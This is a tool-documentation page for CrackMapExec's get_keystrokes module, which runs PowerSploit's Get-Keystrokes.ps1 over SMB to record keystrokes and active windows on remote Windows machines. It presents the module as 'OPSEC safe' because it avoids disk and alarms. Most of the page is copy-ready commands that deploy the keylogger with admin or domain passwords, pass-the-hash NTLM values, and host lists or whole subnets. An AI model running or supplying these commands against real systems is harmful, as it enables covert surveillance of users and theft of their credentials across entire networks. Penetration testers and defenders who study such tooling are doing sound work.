CrackMapExec Get_keystrokes (smb)
This page contains detailed information about how to use the get_keystrokes CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.
Description
This module executes the PowerSploit's Get-Keystrokes.ps1 script which is a script for capturing keystrokes. It logs key presses, time and the active window.
The get_keystrokes module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.
Supported Protocols
- mssql
- smb
Module Source Code
Authors
Module Options
Here is a complete list of get_keystrokes module options:
# cme smb -M get_keystrokes --options
[*] get_keystrokes module options:
TIMEOUT Specifies the interval in minutes to capture keystrokes.
STREAM Specifies whether to stream the keys over the network (default: False)
POLL Specifies the interval in seconds to poll the log file (default: 20)
The TIMEOUT option is required! Make sure to set it when using this module.
Module Usage
This is how to use the get_keystrokes module while using the smb protocol:
Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M get_keystrokes -o TIMEOUT=<minutes>
Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M get_keystrokes -o TIMEOUT=1
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M get_keystrokes -o TIMEOUT=1
Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M get_keystrokes -o TIMEOUT=1
CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:
# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M get_keystrokes -o TIMEOUT=1
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M get_keystrokes -o TIMEOUT=1
The get_keystrokes module can be also used against multiple hosts. Here's how to run it against multiple hosts:# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M get_keystrokes -o TIMEOUT=1
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M get_keystrokes -o TIMEOUT=1
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M get_keystrokes -o TIMEOUT=1
References
Version
This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.